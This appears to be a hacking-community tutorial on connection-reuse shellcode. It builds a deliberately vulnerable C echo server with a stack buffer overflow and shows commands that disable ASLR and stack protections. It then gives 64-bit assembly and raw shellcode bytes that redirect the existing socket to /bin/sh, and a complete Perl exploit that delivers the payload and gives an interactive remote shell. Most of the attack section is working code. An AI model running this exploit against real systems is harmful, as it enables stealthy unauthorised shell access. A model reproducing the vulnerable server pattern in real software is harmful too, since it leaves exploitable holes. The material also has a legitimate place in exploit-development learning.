In this paper I will present an elegant technique (it’s my opinion, indeed) to get shell access to a vulnerable remote machine. It is not my own technique but I found it very interesting. The focus of this paper is on this technique and not in the way to exploit the vulnerability.

Setting your environment

So, in order to focus on the remote shell code and not on how to circumvent ASLR, non-executable stacks and so on (that will require lots of writing) we will disable most of these features for our test. Once you get your shellcode ready you can, indeed try to bring the protections back and exploit again the program. That is a very interesting exercise if you want to try.

First, we will disable the ASLR. This can be done with the following command:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This is temporary and will be reverted on the next reboot. In case you want it back without rebooting your machine:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

To disable the rest of security functions we will be using the following flags to compile our vulnerable server:

-fno-stack-protector -z execstack

These flags disables stack canaries and also gives execution permissions to the stack. So we have a very easy to exploit environment.

A vulnerable service

Now let’s write a small echo server with a buffer overflow we can exploit remotely. The program is very simple. Can you spot the buffer overflow in the code?. Sure you can.

#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int process_request (int s1, char *reply) { char result[256]; strcpy (result, reply); write (s1, result, strlen(result)); printf ("Result: %p

", &result); return 0; } int main (int argc, char *argv[]) { struct sockaddr_in server, client; socklen_t len = sizeof (struct sockaddr_in); int s,s1, ops = 1; char reply[1024]; server.sin_addr.s_addr = INADDR_ANY; server.sin_family = AF_INET; server.sin_port = htons(9000); s = socket (PF_INET, SOCK_STREAM, 0); if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0) perror ("pb_server (reuseaddr):"); bind (s, (struct sockaddr *) &server, sizeof (server)); listen (s, 10); while (1) { s1 = accept (s, (struct sockaddr *)&client, &len); printf ("Connection from %s

", inet_ntoa (client.sin_addr)); memset (reply, 0, 1024); read (s1, reply, 1024); process_request (s1, reply); close (s1); } return 0; }

Pretty standard stuff. Let’s compile it and finish our job making it into the easiest to exploit server ever:

gcc -g -fno-stack-protector -z execstack -o target target.c

Let’s verify it is vulnerable. Launch it in one terminal and from another terminal run:

$ perl -e 'print "A"x1024;' | nc localhost 9000

In the terminal running the server we should see something like:

$ ./target Connection from 127.0.0.1 Result: 0x7fffffffdbf0 Segmentation fault (core dumped)

Note that I have added a print of the address of a local variable so you can verify that ASLR is disabled. You should always get the same number for every execution of the same binary (number can change if you modify the program).

You can now practice with this program to get a local shell using some of the shellcodes available around. Even if it is very easy you should do it at least once :). I will not cover this here. There are, literally thousands of tutorials on how to exploit a buffer overflow in this conditions. Just google it and do it.

The Remote Shell

Now it’s time to get a remote shell. The key word here is remote. This means that there is a network between the vulnerable machine and the attacker. Or in other words, we have to send/receive data through some socket. Based on this, there are fundamentally two ways to get a remote shell:

Your shellcode creates a server socket enabling connections from outside and feeding data in and out of a local shell… This is a Direct remote shell.

remote shell. Your shellcode connects back to a predetermined host were some server is waiting for the connection from the victim… This is a Reverse remote shell.

You may want to read Remote Shells. Part I for more details.

This two definitions will bring to the mind of many of you those RHOST/RPORT variables, or whatever they are called… Yes, that thing to tell your payload what is the address and port to connect to. For a reverse shell you have to store this information in your payload in order to connect back. For a direct shell you usually define just the port, the server will be waiting for connections.

However, there is a third option, at least for Unix machines.

Connection Reuse

When executing a remote exploit, in order to exploit the vulnerability, you are already connected to the server… so, why do not reuse the connection that is already setup?. This is very neat, because it will not show anything suspicious in the victim like open ports for unknown services or outgoing connections from a server

The way to achieve this is very ingenious. It is based on the fact that, the system assigns file descriptions sequentially. Knowing this, we can just duplicate an existing file descriptor immediately after our connection and… unless the server is under heavy load, we should get a file descriptor equal to the file descriptor of the socket associated to our connection + 1 (so, the fd assigned just before, i.e. our connection).

Once we know the file descriptor for our current on-going connection, we just need to duplicate it to file descriptors 0,1 and 2 ( stdin , stdout and stderr ) and then spawn a shell. From that point on, all the input/output for that shell will be redirected to the socket.

Still confused? Haven’t read this (Remote Shells. Part I)?. Maybe now is a good time to do it.

The C code is something like this:

int sck = dup (0) - 1; // Duplicate stdin dup2 (sck, 0); dup2 (sck, 1); dup2 (sck, 2); execv ("/bin/sh", NULL);

See… no socket code at all!. If we make this into a shellcode and we manage to exploit the remote server to run that code, we will get shell access to the remote machine over the connection we used to feed the exploit in the remote server .

Many of you may have notice that this techniques (as usual) has some drawbacks. We have already mentioned that under heavy load on the server (many connections being established simultaneously), our dup trick may fail, and somebody else will get the shell access . Also, a proper server will close all file descriptors before becoming a daemon ( man daemon ), so we may need to try with others values as argument for dup .

This technique was brought to my attention by @_py in a discussion we had some time ago. The original code we checked at that time can be found here:

http://shell-storm.org/shellcode/files/shellcode-881.php

However this is 32bits code so I made my own 64bits version and a Perl script to run the exploit.

The 64bits Version of the Shellcode

I’m not really proud of it (I just realised how rusty my ASM is) but it works and it is only 3 bytes longer that the original 32bits version. Here it is:

section .text global _start _start: ;; s = Dup (0) - 1 xor rax, rax push rax push rax push rax pop rsi pop rdx push rax pop rdi mov al, 32 syscall ; DUP (rax=32) rdi = 0 (dup (0)) dec rax push rax pop rdi ; mov rdi, rax ; dec rdi ;; dup2 (s, 0); dup2(s,1); dup2(s,2) loop: mov al, 33 syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd inc rsi mov rax,rsi cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr) jne loop ;; exec (/bin/sh) push rdx ; NULL mov qword rdi, 0x68732f6e69622f2f ; "//bin/sh" push rdi ; command push rsp pop rdi push rdx ;env pop rsi ;args mov al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx= syscall

I have added some comments for the less obvious parts and you will see a lot of push/pops . The reason is that a PUSH/POP pair is 2 bytes but a MOV R1,R2 is 3. This makes the code very ugly but a bit shorter… actually not much so I do not think if it is a good idea. Anyway, be free to improve it and post your versions in the comments. Also do not hesitate to share any doubt about the code.

Generating our Shellcode

Now, we have to get the shellcode in a format suitable to be send to the remote server. For doing that we have to first compile the code and then extract the machine code out of the compiled file. Compiling (assembling in this case) is straight forward:

nasm -f elf64 -o rsh.o rsh.asm

There are many different ways to get the binary data out of the object file. I use these nifty trick that produce a string in a format that I can easily add to a Perl or C program.

for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

The two commands above will produce the following shellcode:

\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05

Time to write the exploit

The Exploit

So we have a remote vulnerable system. You have figure out how to exploit the buffer overflow in our low-secured environment and we also have a shellcode to run on the remote system. Now we need a exploit. The exploit will put all this together and give us the remote shell we are looking for.

There are many ways to write it. I’ve used used Perl for mine. Of course.

This is how it looks like:

#!/usr/bin/perl use IO::Select; use IO::Socket::INET; $|=1; print "Remote Exploit Example"; print "by 0x00pf for 0x00sec :)



"; # You may need to calculate these magic numbers for your system $addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00"; $off = 264; # Generate the payload $shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05"; $nops = $off - length $shellcode; $payload = "\x90" x $nops . $shellcode . $addr; $plen = length $payload; $slen = length $shellcode; print "SLED $nops Shellcode: $slen Payload size: $plen

"; # Connect my $socket = new IO::Socket::INET ( PeerHost => '127.0.0.1', PeerPort => '9000', Proto => 'tcp', ); # Set up select for asynchronous read from the server $sel = IO::Select->new( $socket ); $sel->add(\*STDIN); # Exploit! $socket->send ($payload); $socket->recv ($trash,1024); $timeout = .1; $flag = 1; # Just to show a prompt # Interact! while (1) { if (@ready = $sel->can_read ($timeout)) { foreach $fh (@ready) { $flag =1; if($fh == $socket) { $socket->recv ($resp, 1024); print $resp; } else { # It is stdin $line = <STDIN>; $socket->send ($line); } } } else { # Show the prompt whenever everything's been read print "0x00pf]> " if ($flag); $flag = 0; } }

The beginning of the exploit is pretty much the standard stuff. Generate the payload based on the magic numbers you had figured out with the help of gdb (note that those number may be different in your system, and the exploit as it is may not just work).

But then, we have to do something else for our special remote shell. With direct and reverse shells, once the exploit has been run and have done its job, we will normally use another program/module to connect to or to receive the connection from the remote machine. It can be netcat or your preferred pentesting platform or your own tool,…

However, in this case we are accessing the shell using an already establish connection. The one we used to send the payload. So I added some code to read commands from stdin and send them to the remote server and also to read data from the remote shell. This is the final part of the exploit. It is standard networking code. Nothing really special in there.

Now, you can try your remote shell exploit!

Conclusions

In this paper we have discussed a technique to get pretty stealth shell access to a remote vulnerable server without the need to deal with the sockets API provided by the system. This makes the development of the shellcode simpler and also makes it shorter (check this one for example http://shell-storm.org/shellcode/files/shellcode-858.php).

Be free to improve the shellcode and post it in the comments. Also, if somebody wants to try to exploit the server when the system security features are activated, please be my guest. That will involve:

Reactivate ASLR (you already know how to do that)

Make stack not executable (remove the -zexecstack flag or use the execstack tool)

flag or use the tool) Reactivate stack protection (remove the -fno-stackprotector flag)

flag) Go Pro (compile with -DFORTIFY_SOURCE=2 or use -O2 )

or use ) Go master (compile with -O2 -fPIC -pie -fstack-protector-all -Wl,-z,relro,-z,now )

Hack Fun!